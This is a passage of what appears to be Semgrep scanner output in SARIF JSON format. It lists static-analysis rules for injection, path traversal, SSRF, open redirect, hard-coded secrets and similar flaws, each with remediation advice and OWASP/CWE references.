attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.path-traversal-open.path-traversal-open","id":"python.flask.security.injection.path-traversal-open.path-traversal-open","name":"python.flask.security.injection.path-traversal-open.path-traversal-open","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.path-traversal-open.path-traversal-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Sauce Token detected"},"help":{"markdown":"Sauce Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sauce-token.detected-sauce-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Sauce Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sauce-token.detected-sauce-token","id":"generic.secrets.security.detected-sauce-token.detected-sauce-token","name":"generic.secrets.security.detected-sauce-token.detected-sauce-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sauce-token.detected-sauce-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","id":"javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","name":"javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","id":"go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","name":"go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","id":"csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","name":"csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-shelve-django.tainted-shelve-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-shelve-django.tainted-shelve-django","id":"python.django.file.tainted-shelve-django.tainted-shelve-django","name":"python.django.file.tainted-shelve-django.tainted-shelve-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-shelve-django.tainted-shelve-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.ponyorm-flask.ponyorm-flask)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.ponyorm-flask.ponyorm-flask","id":"python.flask.db.ponyorm-flask.ponyorm-flask","name":"python.flask.db.ponyorm-flask.ponyorm-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.ponyorm-flask.ponyorm-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsResourceUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsResourceUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","id":"javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","name":"javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. "},"help":{"markdown":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb)\n - [https://golang.org/pkg/io/#CopyN](https://golang.org/pkg/io/#CopyN)\n - [https://github.com/securego/gosec/blob/master/rules/decompression-bomb.go](https://github.com/securego/gosec/blob/master/rules/decompression-bomb.go)\n","text":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. "},"helpUri":"https://semgrep.dev/r/go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","id":"go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","name":"go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","id":"kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","name":"kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlobject-django.sqlobject-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlobject-django.sqlobject-django","id":"python.django.db.sqlobject-django.sqlobject-django","name":"python.django.db.sqlobject-django.sqlobject-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlobject-django.sqlobject-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","id":"python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","name":"python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","id":"rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","name":"rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.vertx-sqli.vertx-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","id":"java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","name":"java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.vertx-sqli.vertx-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","id":"python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","name":"python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function"},"help":{"markdown":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex)\n - [https://pkg.go.dev/sync#RWMutex](https://pkg.go.dev/sync#RWMutex)\n - [https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/](https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/)\n","text":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function"},"helpUri":"https://semgrep.dev/r/trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","id":"trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","name":"trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.pg-sqli.pg-sqli)\n - [https://node-postgres.com/features/queries](https://node-postgres.com/features/queries)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.pg-sqli.pg-sqli","id":"javascript.aws-lambda.security.pg-sqli.pg-sqli","name":"javascript.aws-lambda.security.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","id":"python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","name":"python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies."},"help":{"markdown":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","properties":{"precision":"very-high","tags":["CWE-522: 